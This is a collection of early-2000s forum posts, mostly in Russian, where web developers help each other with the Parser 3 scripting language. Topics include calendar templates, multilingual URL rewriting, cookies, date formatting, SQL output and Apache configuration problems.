    <td bgcolor=\"#FFFFFF\" align=\"middle\"><b><b>$calendar_locale.month_names.[$now.month]</b></td>\
    <td bgcolor=\"#FFFFFF\" ><a href=\"/news/?year=$next_year&month=$next_month&day=1\"> >>> </a></td> \
          \
   </tr> \
   <tr> \
      ^for[week_day](0;6){ \
         <td width=\"14%\" align=\"middle\" bgcolor=\"#A2D0F2\"> \
            <font color=\"$calendar_locale.day_colors.$week_day\"> \
               $calendar_locale.day_names.$week_day \
            </font> \
         </td> \
      } \
   </tr> \
^days.menu{ \
   <tr> \
      ^for[week_day](0;6){ \
         ^if($days.$week_day){ \
            ^if($days.$week_day==$now.day){ \
            <td align=\"middle\" bgcolor=\"#FFFF00\"> \
               <font color=\"$calendar_locale.day_colors.$week_day\"> \
               <b><a href=\"/news/?year=$now.year&month=$now.month&day=$days.$week_day\">$days.$week_day</a></b> \
               </font> \
            </td> \
            }{   \
	     <td align=\"middle\" bgcolor=\"#FFFFFF\"> \
               <font color=\"$calendar_locale.day_colors.$week_day\"> \
              <a href=\"/news/?year=$now.year&month=$now.month&day=$days.$week_day\">$days.$week_day</a> \
               </font> \
            </td> \
            } \
         }{ \
            <td bgcolor=\"#DFDFDF\">&nbsp</td>    \
         } \
      } \
   </tr> \
} \
</table> \
</center> \
[/code]"
"7332","[quote]по заданному условию поставить НЕТ НОВОСТЕЙ[/quote]\
\
именно так и надо делать. проверять на ноль и говорить что ничего нету. и это правильно. у меня на www.nbsp.ru так и сделано. такой же календарь, доработанный."
"7333","вполне оправдано. MS DHTML edit control. Читаешь на MSDN. Смотришь примеры. Вставляешь. Естественно работает только с MSIE, что сейчас не проблема при его популярности в 95%."
"7334","создай поле unique. СУБД сама будет проверять, уникальное число или нет. Естественно MySQL тут отдыхает. Надо что-нибудь по-серьёзнее."
"7337","[url=\"http://www.nbsp.ru/?date-1970-1\"]http://www.nbsp.ru/?date-1970-1[/url]\
\
Мне кажется, это баг с датами, PAF, что то писал...\
Да и ещё измени Unhandled Exception,\
на что то вроде: \
\"Извините, но в программном обеспечение сервера произошла ошибка! Спасибо что помогли обнаружить\"\
\
после этого тебе на мыло шлётся текст Unhandled_Exception_Debug,\
а пользователя пересылаешь, в самое начало.\
\
Пользователю, понятно и тебе удобно."
"7338","ну возможно это и баг парсера. но не думаю что кто-то специально будет вводить ?date-год-месяц\
ведь новости там выводятся по ?day-год-месяц-день :-)"
"7339","я вообще книг о регэкспах не читал. сам постепенно освоил. хотя вопрошающему регэкспы не помогут."
"7340","Просто как-то надоело тратить время на поиски обрывков манов, вот решил найти, а книги в продаже не было месяца 2.\
так что санкс за линк ;)"
"7341","Кстати, Серж, а ведь у тебя самого на сайте висит \"артикла\" про хиртрые УРЛы, через mod_rewrite.\
Или пров не дает заюзать?"
"7342","Я сначала у себя под виндой всё именно так и сделал - красиво, через mod_rewrite. А у хостера этот модуль установлен, но выдаёт что-то типа bad request :-(\
\
PS И вообще я всё более склюнясь к мнению, что лучше всё-таки на Win хоститься. Проблем меньше."
"7343","Есть таблица (400KB) в ней 36888 строк, надо вывести все эти строки в броузер, вывожу вот так:\
\
[code]\
$tableWords[^table::load[words.cfg]]\
^tableWords.menu{\
	$tableWords.word\
}[<br />]\
[/code]\
\
Всё вывел, но с кусками мусора, например кусочек текста из мусора \"E:\\temp\\New Text Document.txtE:\\temp` Xroman-grudzinsk`}Џї\", явно же путь и ещё моя фамилия, блин откуда он это выдрал..."
"7344","Пытаюсь подобрать оптимальную систему для разработки. Есть вопросы...\
\
Во-первых, есть ли у кого-нибудь опыт создания многоязыковых сайтов с парсером? \
Интересует всего архитектура и вопросы отделение функционала от представления: как технологии (xslt, обычные шаблоны), так и реализация -- дабы для русской и английской версии не содержать две копии скриптов.\
"
"7347","auto.p:\
[code]\
@USE\
/class/gb.p\
/class/navigation.p\
\
@main\
   ...\
#end of @main\
\
....\
[/code]"
"7350","Сожалею, мне легче - город маленький, всех админов знаю лично - поэтому никаких траблов, ни с установкой P^2/3, ни с mod_rewrite. Раньше был хост под Виндой(IIS), вот переехал под Линукс+Апач. Пока единственная трабла - кривая библиотека для MySQL под AltLinux - заваливала мускульный сервак при удаленном конкте, не много мата + пара вопросов от админа в форумах - и все в порядке."
"7351","вроде подобное обсуждалось на форуме P^2, поищи там.\
а вообще IMHO все в XML + тупое отслеживание каталога /rus/ или /eng/ потом можно страницу \"накатать\" исходя из URL.\
IMHO тут не очень сложно.\
Подожди, позже народ из ALG еще тебе будет объяснять, если попросишь ;), скорей всего более углубленно, чем я ;)"
"7353","удобно делать как сказал CODer - различаешь \"на какой язык пришли\" и выдаешь контент.\
Способы различаний: по домену, по директории, по порту, по куке/по id... Вариантов масса.\
Берем простейший - по директории (/ и /eng/).\
В базе каждое текстовое поле продублировано его переводом (table: document, fields ru_title и en_title)\
На старте определяешь переменную [code]$language[^if(in \"/eng/\"){en}{ru}][/code]\
При запросе к базе делаешь\
[code]\
select\
   $language_title as title,\
   $language_body as body,\
   ...\
from\
   document\
...\
[/code]\
Получается языконезависимая таблица, содержащая данные на нужном языке.\
Естественно, все методы работы с ней тоже не зависят от языка и, более того, ты даже не задумываешься над тем, какой язык сейчас отдается. Об этом знает только переменная $language.\
Если вдруг определились методы, специфичные к языку, создаем два конфига ru.p и en.p, которые динамически грузим - ^use[${language}.p]\
Вот, собственно, основная идея - остальное - частности."
"7354","Потому, что любые комплексные приходяшие данные надо обрабатывать через ^try{}\
Тогда не будет \"необработанных ошибок\" - специально для этого и сделано."
"7356","вида\
[code]\
$prev_year($now.year)\
$next_year($now.year)\
$prev_month(^eval($now.month-1))\
$next_month(^eval($now.month+1))\
^if($now.month==1){$prev_year(^eval($now.year-1))\
$prev_month(12)}\
^if($now.month==12){$next_year(^eval($now.year+1))\
$next_month(1)}\
[/code]\
[b]необходимо[/b] использование [url=http://www.parser.ru/docs/lang/dateroll.htm]^date.roll[/url]"
"7358","после того, как я вручную ввёл ?date-1970-1 я получил Unhandled Exception, и после этого nbsp.ru ВООБЩЕ перестал работать. *Любое* обращение далее приводило к UnhandledE. \"Вылечилось\" вводом запроса с правильной датой ?date-2002-09\
\
только ПОЖ-ТА не надо проверять это на моём сайте. :-) Можете мне поверить, это действительно так."
"7359","иначе как бы я Парсер поставил. Надо вот с Modrewrite разбираться теперь. Нельзя же вечно с кривыми url-ами работать."
"7360","Кто-нибудь создавал систему управления сайтом на парсере? Насколько это сложно сделать?\
\
"
"7361","Будь конкретнее ..."
"7362","Планирую создать систему, но не знаю с какой стороны подходить. Поскольку никогда еще не сталкивался с такой работой. \
\
Цель: полностью автоматизировать наполнение, изменение контента сайта, масштабируемость сайта без лишних затрат.\
\
Знаю, что можно сделать все это на РНР, что обширно практикуется. Но можно ли сделать все с помощью Парсер, базы данных? Наверняка, кто-то уже делал такие вещи: поделитесь опытом в планировании всего этого, помогите начать. Просто из-за не знания многих вещей возникает \"каша в голове\".\
"
"7363","У моего последнего сайта 1 недостаток(в плане масштабируемости) - на \"фронте\" есть менюшка(Flash), ее надо поправлять каждый раз, когда изменяется что-то в структуре сайта.\
Хотя и это не проблема для дезигнера.\
Все остальное было написано почти с нуля: авторизиция для не которых разделов, модули добавления/изменения/удаления новостей, статей, ротаторы для показа фотогалереи/\"ушей\", модуль для удаления/добавления/изменения структуры сайта.\
Все лежит в MySQL, сервер AltLinux, Web-сервер - Apache, все \"приколы\" с URL - mod_rewrite(моя блягодарность всем \"старейшинам\" форума за помощь), сразу предупреждаю - в случае его использования, обрати внимание на отработку error-404."
"7364","А флэш-картинка тоже может изменяться автоматом.(см. ввв.флэшер.ру)"
"7365","Программное обеспечение Imprimatur (имприматур) позволяет обновлять сайт любого объема и любой сложности в считаные секунды.\
Imprimatur устанавливается нами на все сайты, требующие регулярного обновления.\
\
Адаптированный к каждой отдельной задаче веб-интерфейс в работе не сложнее, чем Word.\
\
Copyright © 1995—2002\
Студия Артемия Лебедева\
\
http://www.imprimatur.ru\
\
\
Як щоб ще знаты колы выдкроють!?\
Дуже цикаво! А вам?"
"7368","Ищи и читай про методы HEAD  CONNECT  PUT  DELETE\
 "
"7369","А на \"сайте\" просто картинка одна... Продается ли эта система, можно ли ее опробовать?"
"7370","http://www.onlybest.ru/news/?action=novelty&id=95\
"
"7371","na razniy case? Delo v tom, chto u menya idet viborka dannih, prishedshih [code]$form:field[/code]. Zdes dlya mneya vazhen case string'a. Kak ego vichislit? Cherez HEX-code? A kak ego uznat s pomoschyu Parser'a? ili vse eto delo namnogo prosche, tolko ya ob etom ne dogadivayus?! Podskazhite, a to ya v subbotu napisAl, chto u menya vse poluchilos, a hren tam! Ne poluchilos! Ya uzhe ne znayu; i regexp ne pomog...Truba!.."
"7376","Я это вот так сделал :\
[code]\
$sc[^form:card_code.match[[a-z]][]]\
^if($sc){^goNah}{^goIn}\
[/code]\
и это работает...\
\
Постскриптум : надо бы сначала проверять код, а потом, если код работает - выносить его на форум..."
"7377","Незабудь прикрутить к этой системки визуальный редактор чтобы обновление было действительно простым как в ворде. Я как раз этим сейчас занимаюсь пересмотрел кучу програм больше всех понравился XS DHTML editor https://sourceforge.net/projects/xsdheditor/ Если кто пользовался хотелось бы услышать мнения И есть кое-какие вопросы по установке."
"7378","Нет необходимости мне проверять код, вычисляющий 2+2\
\
Твое \"код не работает\" беспочвенно. Ты даже не написал ЧТО в нем не работает.\
\
Тот код, который написал я - работает (проверил на всякий случай после того, как увидел этот месс).\
\
Другое дело что этот код НЕ ДЛЯ РАБОТЫ. Тут идея, как это делать. Для работы нужно проверять def $form:a1 иначе ^upper[] отвалится... Но это другая история...\
\
Я не пишу в форум готовый код (как и многие тут), я делюсь своими мыслями на этот счет.\
\
Проверять с помощью match такие вещи по моему не есть хорошо. Как кто-то выразился тут недавно, по воробьям все-таки лучше из рогатки стрелять, а то можно придумать еще экзотики, типа:\
^string:sql{SELECT UPPER($form:a1)}..."
"7380","Почему нельзя из класса вызвать ф-ю (^MAIN:fname[]), описанную в каком-нибудь файле подключенном из auto.p при помощи @USE? Если эту ф-ю описать непосредственно в auto.p, то всё работает.\
\
Может я что-то не так делаю?"
"7381","В принципе програмка настраивается элементарно единственная проблемка мне надо было что б значения передовались не по нажатию на кнопку сохранить а через обычную форму почитал в формуме там  это уже обсуждалось но у меня не получается я в ява не разбрираюсь. Ну и с закачкой фото я еще не разбирался"
"7382","В свое время скачивал с сайта design.ru два файла шрифтов (WebSmallC и WebCondensed - кажется так :) ), сейчас не могу их там отыскать. Подскажите по какому УРЛ зайти."
"7384","Я же сказал - ^try{} тебе поможет.\
Более того, в доке описано, что дата [b]локальная[/b], т.е. отличается от гринвича (и, следовательно, стандартного UNIXTIME) на величину поясного оффсета. Для Москвы - 3/4 часа в зависимости от летнего времени. Следовательно 1-1-70 по Москве [b]на 3/4 часа меньше[/b] гринвича и такая дата не создается. Лечится добавлением текущего оффсета."
"7385","данный код действительно не выдал результата. Я попробовал, как ты и советовал, но Парсер говорит, что мол, эти стринги одинаковы - не хочет он их различать! То есть, здесь он не реагирует на case. И прошу прощения за свинское обращение. Я тут подумал - всетаки вы сидите тут целыми днями, стараетесь нам всем помощь оказать, а тут вылазят такие придурки, как я и кричат на весь форум, что, мол, код неработающий. Извини... впредь такого говна не повторится..."
"7386","почему-то у меня не работает вот этот метод задатия cookie\
[code]\
$cookie:creage_student[\
   $.value[$form:user] \
   $.expires[session]\
]\
[/code]\
cookie просто не хотят создаваться!\
В чем проблема?"
"7387","За беспочвенные наезды будем баннить.\
\
Кстати, твой код тоже:\
[quote]Ты это проверял? Нихрена твой код не действует![/quote]\
Да еще и не оптимален."
"7391","И почему-то у мнея кроме\
[code]\
$cookie:creage_student[\
   $.value[$form:user]\
]\
[/code]\
этого варианта cookie больше никакие не образовываются."
"7392","вызывать не ^MAIN:fname[], а ^MAIN:classname:fname[](zdesj mogut bytj netochnosti), так как ты пытаешься вызвать функци&#351; созданного объекта, а не объекта MAIN..."
"7393","Что делать ? Не хочеться обратно на iis переходить %(("
"7394","как в один куки записать несколько ключей со значениями, допустим, как это делается у вас на site? и почему , кроме $.expire(someInt) больше ничего не работает? В смысле - куки с этими ключами просто не создаются!"
"7395","Но тогда, по крайней мере, придется опять иметь две структуры директорий для каждого языка. Что несколько приумаляет предложенный метод... \
\
Т.е. придется содержать такую структуру директорий:\
\
[code]\
   / \
   |__ index.html \
   |__ auto.p.html \
   |__ news/\
   |   |___index.html \
   |__contacts/\
   |   |___index.html \
   |__ eng/\
      |___index.html\
      |___auto.p\
      |___news/\
      |    |___index.html \
      |__contacts/\
           |___index.html \
....\
[/code]\
\
Хотя, есть один выход, но он явно не совсем красив... да и \"не в духе Парсера\".\
\
Если все-таки остановиться на варианте с использованием директорий / и /eng, а этот вариант самый надежный. (с куками и сессиями не очень хотелось бы связываться для подобных вещей, а с доменами третьего уровня -- не у всех хостеров разрешего общаться).\
\
Вот в чем состоит идея.\
Сделать некоторое подобие некоего handler'а:\
[code]\
<Directory /www/parser/eng>\
	Options FollowSymLinks\
	AllowOverride All\
	ErrorDocument 404 /eng-handler.html\
</Directory>\
[/code]\
\
eng-handler.html тогда диспетчит все запросы, подгружая, в соответствии с запрошенным урлом, необходимые скрипты.\
(есть, правда сомнение, что подобное можно элегантно реализовать на Парсере).\
\
Например, весь функционал лежит в директориях:\
/news\
/contacts\
....\
\
Он не содержит привязки к языку. Все языко-зависимые данные подгружаются из некоторой БД.\
\
Если приходит запрос, скажем, на /eng/news, вылетает 404 ошибка -- директории eng/ вообще не существует, срабатывает наш\
[code]\
ErrorDocument 404 /eng-handler.html\
[/code]\
\
Handler понимет, что надо конвертировать запрос в /news/ и заполнить страницу англоязычными данными.\
\
Вот такая вот задумка.\
\
Есть другие, более правильные, идеи?"
"7396","[code]\
RewriteEngine on\
RewriteBase /\
RewriteCond %{REQUEST_FILENAME} !-d\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteRule ^eng/(.*)$ /$1?lang=en [qsa,l] \
[/code]\
теперь каждый урл вида /eng/dir/subdir/ рерайтится на /dir/subdir/ с передачей $form:lang == en.\
\
в каждом файле ставишь проверку этого параметра и в зависимости от отдаешь нужный язык.\
\
понадобится французский/иврит/хинди - просто добавляешь новое правило"
"7397","Полное ощущение залезания в чужую область памяти.\
Случаем память не битая на компе? Другой софт часто падает?"
"7398","http://parser.ru/_t.html?a1=фыв\
\
[code]\
^if(def $form:a1){\
	значение формы: '$form:a1'<br />\
	upper(значение формы): '^form:a1.upper[]'<br />\
	^if($form:a1 ne ^form:a1.upper[]){\
		не совпадает...\
	}{\
		все пучком\
	}\
}\
[/code]\
\
и если можешь скопируй это себе и покажи, как у тебя не работает..."
"7399","Может в аппаче дело ?\
apache_2.0.42-win32-x86-no_ssl.exe  вот это я поставил.\
раньше был IIS и все было ок.\
Неужели никто не сталкивался с подобным ?"
"7400","Uvazhaemiy Mihail!\
Tut ya prosto pass! Kopiruyu tvoy kod v chistiy list, zapuskayu - rabotaet! U menya glaza na lob, zubi skripyat...i t.d.\
Kopiruyu etot zhe kod v macros, gde mne eto nado - ne rabotaet! Udalyayu nahren vse, ostavlyayu tolko telo macrosa - vse ravno ne rabotaet! Ostavlayu tolko tvoy kod, no v tom zhe file s macrosom - ne rabotaet!!! Kak eto ponimat? Skoree vsego u menya v root auto.p che-to ne to... nu da ladno - ya ostavil vse na regexp'ah  - rabotaet, zhrat ne prosit - nu i mat ego! A na takie zamorochki ya za svoyu programistskuyu zhisn nemalo naglyadelsya - bivaet... ti uzh ne obessud - prosto ya togda ochen dolgo vozilsya, nichego ne poluchalos, ya zloy zalez na forum, a ti tut iz menya shkolnika vcherashnego sdelal - obidno zhe! Mozhet ya slishkom visokogo o sebe mneniya?!...:)))))... Spasibo vam, za to, chto vi est!!!"
"7401","Нет я из объекта пыиаютсь вызывать ф-ю описанную вне объекта, а просто в файле, который вызывается через @USE."
"7403","Ну и как программа?\
Я посмотрел - впринципе неплохо...можно под шаблон.. но тоже пока много вопрос:)"
"7404","Собственно, проблема была мной локализована до очень короткого кода, но сама ошибка (а я уверен, что это она), появляется стабильно.\
\
Использую: Parser 3.0005 (WinXP/Apache/Denver).\
\
Суть проблемы:\
Появление ошибки [color=red]$SQL:drivers table must be defined[/color], при следующих условиях:\
\
Создаем 2 файла\
[color=navy]somefile.html[/color]:\
\
[code]\
^use[/someclass.p]\
Любой Parser(и/или HTML) код или его отсутствие – роли не играет\
[/code]\
\
[color=navy]someclass.p[/color]:\
[code]\
@CLASS\
someclass \
@auto[]\
$SQL_server[mysql://login:passwd@localhost/test]\
^connect[$SQL_server]{\
Любой SQL запрос или его отсутствие – роли не играет\
}\
[/code]\
\
Запускаем сервер, запрашиваем файл somefile.html. Запрос выполнен, все ok.\
\
Запрашиваем файл somefile.html?anyString. Получаем ошибку [color=red]$SQL:drivers table must be defined[/color]\
\
Снова запрашиваем файл somefile.html -> все ok, драйвера найдены, запрос выполнен."
"7405","У тебя либо не считывается конфиг, либо в нём неопределена таблица драйверов SQL. Почему при запросе файла без query string нет ошибки? - думаю из-за того что у тебя при вызове без query string ничего не делается и поэтому нет и ошибки (не ошибается тот кто ничего не делает :)), это происходит потому что ни в самом файле не определен никакой метод. При вызове этого же файла с query string какая-то работа все-таки происходит (формируется объект класса request) и поэтому из-за неправильного конфигурирования происходит ошибка."
"7406","Я создавал. Для своего www.nbsp.ru.\
Автор имеет полный контроль над содержанием:\
- добавление / изменение / удаление новостей и статей (и публикация), тем\
- менеджмент опросов с кучей опций\
и т.д.\
\
Сложного ничего нет."
"7407","установил себе parser, \
 работает: из адресной строки пишет \"Parser/3.0.0005\"\
 в .htaccess написал то что надо:\
\
 AddHandler parsed-html html\
 Action parsed-html /cgi-bin/parser3.cgi\
\
 НО: урок1 не работает -- делает вид что парсера нет\
\
 \"^navigation[]\"\
\
 help pls...\
 ps. хостинг зенон, говорят что parser и apache в одной группе...\
\
\
"
"7408","Есть готовый сайт в который необходимо встроить сторонюю разработку на перл и на Парсере не основанную.\
В перловом коде есть прямая работа с заголовками HTTP, т.е. посылается Set-Cookie, Status, Location и т.д.\
Но вызов скрипта необходимо сделать посредине страницы генерируемой Парсером и понятно что ни один заголовок не проходит...\
Как это возможно обойти? если возможно..."
"7410","а потом проанализируй отданное и выставь куки и локейшены парсером"
"7411","Не совсем понятно... это работает во 2ом парсере?\
\
проблема в том что вызов происходит из середины страницы\
<html>\
<head>.....</head>\
<body>\
N килобайт макросов,html и текста\
^exec[/cgi-bin/main.cgi]\
ещё N килов текста\
</body></html>\
\
а на сколько я знаю HTTP в середине кроме Content-type ничего не пройдёт...\
\
Если честно то чайник в Парсере, а надо срочно\
Если не затруднит подсказать как\
1) сделать так чтобы если PATH_INFO пуст задать значение с помощью  перлового скрипта \
2) как сформировать урл типа /cgi-bin/main.cgi/$ENV{'PATH_INFO'} (перл) и вызвать его через ^exec или хотя бы подставить его третим параметром\
\
во втором парсере консктукция типа\
$sid[^file::exec[/cgi-bin/path_info.cgi]]\
не работает..."
"7412","http://httpd.apache.org/docs/mod/mod_mime.html#addhandler\
\
The extension argument is case-insensitive, and can be specified with or without a leading dot."
"7413","Тогда, никак. Точнее - никак без переделки скрипта."
"7414","Были у меня апачи (на провайдерах), на которых без точки не работало. С чем связано - не разбирался. Возможно, с конфигурацией MIME..."
"7415","Хорошо... точнее ничего хорошего...\
возможно ли во втором подставить $ENV{'PATH_INFO'} в exec насильно\
что-нить типа:\
^exec[/cgi-bin/main.cgi;;^env[PATH_INFO]]\
или так:\
^exec[/cgi-bin/main.cgi/^env[PATH_INFO]]\
эти примеры не работает - проверил уже, а что можно предпринять?\
"
"7416","Я пытаюсь проверить ^if(def $cookie:cols){} при несуществующей куке и получаю ошибку Division by zero.\
Как в таком случае проверить, есть кука или нет?"
"7417","Из базы возвращается в виде 2002-09-01 а data в виде 2002-9-1 и как их сравнивать? \
Кострукция [code]${now.month}[%02.u][/code] ничего не дала. Может подкините идейку."
"7418","[code]\
[%02.0d]\
[/code]"
"7420","защиту от сами знаете кого сделать в принципе невозможно, поскольку невозможно предсказать поведение человека."
"7421","d - целое.\
^date.month.format[%02d]"
"7423","Мерси."
"7424","Вот код:\
[code]\
^if(def $cookie:cols){\
$cols[$cookie:cols]\
$sizepx[$cookie:sizepx]\
$sizekb[$cookie:sizekb]\
$colsnom[$cols]\
$rows[$cookie:rows]}\
[/code]\
теперь выдал следующее:\
Division by zero  type: number.zerodivision\
"
"7426","для дальнейшего использования - хранить все даты в базе в unixtime, а выдавать их через FROM_UNIXTIME(поле, %d.%m.%y)? запись - UNIX_TIMESTAMP(поле_в_виде_%y%m%d)\
может тебе это поможет?"
"7427","1. в какой строке ругань\
2. откуда ты вызываешь этот код (прочто в теле страницы, из @auto[]?)\
\
По моему ошибка у тебя появляется позже..."
"7429","RS/6000, операционка AIX 4.3.2, Apache 1.3.6. parser3, собран из изходников. при попытке обработать HTML-файл _без_инструкций_ ругается:\
\
out of pool memory: failed to allocate 0 bytes; already allocated on pool: 100731 bytes in 2334 times\
\
в чем грабли?\
\
with *.*,\
ranger.\
"
"7430","Win32-апач, \
parser3_3_0_0005_win32_apache.zip.\
Никак как модуль не подключается...\
И как только не пробовал.\
\
Возможно, не все вещи апачевского модуля для win32 прописаны.\
\
Хотя MODULE_VAR_EXPORT в\
[code]\
extern \"C\" module MODULE_VAR_EXPORT parser3_module;\
[/code]\
присутствует...\
\
Возможно, неправильно собрано?"
"7431","Легко настраинвается единственное пока с закачкой картинок не разобрался"
"7432","с текстом действительно никаких проблем а вот как например ты реализуешь вставку фотографий в лубую часть статьи например."
"7433","я сделал по-простому, в новостях у меня не предусмотрена вставка картинок, а для статей так: есть каталог articles, на FTP для *авторов*, они туда загружают все материалы, а дальше просто вставляют их посредством HTML (в статьях разрешён HTML) т.е. <img...> имхо нормальный вариант. ну и конечно можно сделать загрузку через браузер, ведь в парсере есть даже функции какие-то для этого."
"7434","Честно сказать - встречаю такое первый раз.\
Напиши PAFу (сейчас он в отпуске, но скоро будет) - может он чем пособит. А здесь, думаю, спецов по таким системам, увы, нет..."
"7435","Как принудительно по выходу в logoff удалять куки.\
Насчет выставления жизни куки сесию, я знаю.\
Мне нужно именно принудительно, в доке об этом не сказано.\
может конструкция типа такой\
$cookie.delete:user[Петя] ?"
"7436","Сайт на Парсере. Работает больше месяца все нормально. Вдруг сегодня не с того не с сего начал конкретно тормозить при загрузке в IE6. Что самое интересное в NN6 и Opera6 грузится нормально. Я уже пробовал и временные файлы в IE6 удалить и куки очистил ничего не помогает. Попрежнему тормозит."
"7438","спасибо, сам бы недопер :)"
"7439","Проблема как я уже писал ниже в том что перловый скрипт вызывается из середины парсеровского шаблона. и из-за этого нет возможности нормально работать с заголовками HTTP. \
После целого дня борьбы удалось таки заставить его вызывать скрипт с Session_ID:\
^var[sid;^exec[/cgi-bin/ses_id.cgi]]\
^exec[/cgi-bin/main.cgi;^env[QUERY_STRING];^var[sid]]\
\
у итоге PATH_INFO передаётся в main.cgi и урлы как мне и надо стали вида:\
http://server.ru/new/project/main.cgi/m7flhtx34cv9fyRBzrtE1w?param=arg\
\
но при нажатии на эту ссылку ses_id.cgi не получает PATH_INFO и соответственно получается как бы новая сессия с новым Session_ID\
\
Может что-то я недоделал или что-либо влияет на эту переменную? Дело в том что ^env[PATH_INFO] пуст....\
\
----\
\
И ещё если я с main.cgi перед выдачей результата работы выдам например:\
^cookie[login;value;session]\
^cookie[passwd;value;session]\
^cookie[sid;m7flhtx34cv9fyRBzrtE1w;session]\
^header[status;302 Moved temporarily]\
^header[location;/cgi-bin/main.cgi/m7flhtx34cv9fyRBzrtE1w?param=arg]\
\
а уже потом html и а на основной странице изменю:\
^var[sid;^exec[/cgi-bin/ses_id.cgi]]\
^process[^exec[/cgi-bin/main.cgi;^env[QUERY_STRING];^var[sid]]]\
\
должны ли отработать ли куки и заголовки? \
У меня почему-то отрабатывает первый кук а остальное в игнор, да и то кука проявляется после перезарузки страницы и ни как не 'session', а на дефаултные 90 дней....\
или это фича такая?\
\
ЗЫ: Выручайте братцы - горю! PLZ\
"
"7440","сабж"
"7441","если хочешь создать нормальную систему, то начинай с ядра, но это по моему мнению, если надо подробнее пишите мне на мыло."
"7442","Вызываю из тела страницы, при том что при существующей куке все работает.\
Ошибка выдается как есть, без указания номера строки и всего остального\
Я вот думаю, а не может это быть из-за того, что я определяю куку для раздела, а не для сайта целиком?\
Пример без куки здесь:\
http://www.spearance.tura.ru/parser3/gallery/\
Куку можно записать здесь:\
http://www.spearance.tura.ru/parser3/gallery/tools/"
"7443","Определенно дело в броузере... или в маздайке. Возможно как-нибудь криво установился какой-то из левых плугинов."
"7444","Вопросы по второму Parser задавай в разделе Parser 2.0\
http://parser2.parser.ru/forum/"
"7445","да и еще - НИКОГДА не ложи в куки логин и пасс, про это кстати можешь тоже на форуме P^2 найти постинги"
"7447","Я пишу запрос к MySQL и пытаюсь вывести так \
[code]\
 $column[^if($form:query eq 2){SertNumber}{SertName}]\
 ^MAIN:dbconnect{\
    $ne1[^table::sql{\
      Select SertCode, SertNumber, SertName, SertDateHome, SertDateEnd  \
         from sert where \
         ${column} regexp '${form:search}'\
    }]\
 }\
    <table width=\"100%\" border=\"1\" cellspacing=\"0\" cellpadding=\"1\">\
     <tr bgcolor=\"EFEFEF\">\
       <td width=\"5%\"><center>№</center></td>\
       <td width=\"15%\"><center>Номер сертификата</center></td>\
       <td width=\"35%\"><center>Оборудование</center></td>\
       <td width=\"20%\"><center>Дата выдачи сертификата</center></td>\
       <td width=\"20%\"><center>Дата окончания действия сертификата</center></td>\
       <td><center>Текст документа</center></td>\
     </tr>\
     $i(1)\
     ^ne1.menu{\
       <tr>\
         <td width=\"5%\"><center>${i}</center></td>\
         <td width=\"15%\"><center>${ne1.SertNumber}</center></td>\
         <td width=\"35%\"><center>${ne1.SertName}</center></td>\
         <td width=\"20%\"><center>^if(def $ne1.SertDateHome){$ne1.SertDateHome}{-}</center></td>\
         <td width=\"20%\"><center>^if(def $ne1.SertDateEnd){$ne1.SertDateEnd}{-}</center></td>\
         <td><center><img src=\"../pic/text.gif\" border=0></center></td>\
       </tr>\
       ^i.inc[]\
     }\
    </table>\
[/code]\
Получается так что запрос возвращает например 10 записей а выводится только N(колеблится от запроса от 1 до 12) причем в html коде получается что ne1.menu не закончино. Например\
[code]\
<table width=\"100%\" border=\"1\" cellspacing=\"0\" cellpadding=\"1\">\
<tr bgcolor=\"EFEFEF\">\
<td width=\"5%\"><center>№</center></td>\
<td width=\"15%\"><center>Номер сертификата</center></td>\
<td width=\"35%\"><center>Оборудование</center></td>\
<td width=\"20%\"><center>Дата выдачи сертификата</center></td>\
<td width=\"20%\"><center>Дата окончания действия сертификата</center></td>\
<td><center>Текст документа</center></td>\
</tr>\
<tr>\
<td width=\"5%\"><center>1</center></td>\
<td width=\"15%\"><center>Н/2-Г-5</center></td>\
<td width=\"35%\"><center>Городская АТС системы 5ESS \
[/code]\
\
Кто нибудь сталкивался с таким. В perl этот запрос работае."
"7448","...\
если написать <tr align=\"center\">...\
то не надо будет N раз писать <center></center> \
\
:)))\
\
и у TD-шек в меню не обязательно прописывать ширины..."
"7449","Согласен я просто Ctrl+c..+v.\
А про глюк."
"7450","[code]\
<td width=\"35%\"><center>${ne1.SertName}</center></td>\
[/code]\
"
"7451","Хм.. я же написал, что SQL запрос [b]выполняется[/b], если нет get-данных в запросе. Если они есть - то нет драйверов.\
Возможно, что это глюк денвера (я грешу на parser_wrapper) - даже скорее всего, т.к. на обычном апаче все работает :( \
\
ИМХО, конфигурация P^ не совсем прозрачна что ли...  Как-то очевиднее сделать ее было бы неплохо.\
\
А может это просто я такой :))\
\
P.S. А зачем делать ссылками пустые сообщения в форуме?"
"7454","...прошел почти час, а я ничего не получил..."
"7455","В поле БД есть байт 0 (например текст...#0.. текс) как его игнорировать.\
Записи типа ^untaint[file-spec]{$ne1.SertName}\
не помогают.\
БД переделать нет возможности."
"7457","Я перепробовал две версии Apachе (1.3.26 и 2.0.42).\
Я использовал и модуль и CGI-скрипт. В первом варианте появлялась ошибка типа: указан неверный путь к модулю; во втором случае ошибок не возникало, но страница выдавалась без обработки: ^navigation[]. \
\
Буду рад получить от вас любыме рекомендациии и советы.\
Спасибо! "
"7458","В форме у меня стоят несколько чекбоксов с одинаковыми именами. При отправке формы даные идут в виде name=value&name=value&name=value...\
Как мне их все перебрать в цикле?"
"7460","Если я знаю алгорит, по которому шифровали пароль, могу ли я расшифровать его?"
"7461","&#305;ти чекбоксы об&#287;азу&#351;тся динамически в зависимости от количества записей в базе данных. Потом пользовател&#351; п&#287;едоставляется возможность выб&#287;ать &#305;ти записи с помощь&#351; &#305;тих самых чекбоксов. Откуда мне знать, сколько он их выб&#287;ал? Если сделать с &#287;азными именами - &#305;ти имена потом надо об&#287;аботать - а как я вычисл&#351;, какие имена мне п&#287;ишли и сколько их? По&#305;тому я сделал все чекбоксы с одним именем. Данные посила&#351;тся в цепочке имя=значение&имя=значение&имя=значение и так далее.. Тепе&#287;ь &#305;ти данние надо как-то об&#287;аботать - а как мне их &#287;азбить и взять &#305;ти данные? Ва&#287;иант $form:name не п&#287;окатит - мне ве&#287;нется последнее значение в цепочке. Мне же надо все данние об&#287;аботать в цикле. Может их &#287;ег&#305;кспами или ^string.lsplit[]?"
"7463","В большинстве задач не нужно использовать это!\
$form: рулит!\
\
И для множественных значений тоже:\
http://parser.ru/docs/lang/formtables.htm"
"7464","Надо же! Как я &#305;то мог не углядеть!? А я уже начал на &#287;ег&#305;кспах делать... В кото&#287;ый &#287;аз убежда&#351;сь, что Па&#287;се&#287; - сила! Да х&#287;анит Господь Пафа!(и всех, кто к &#305;тому п&#287;ичастен)"
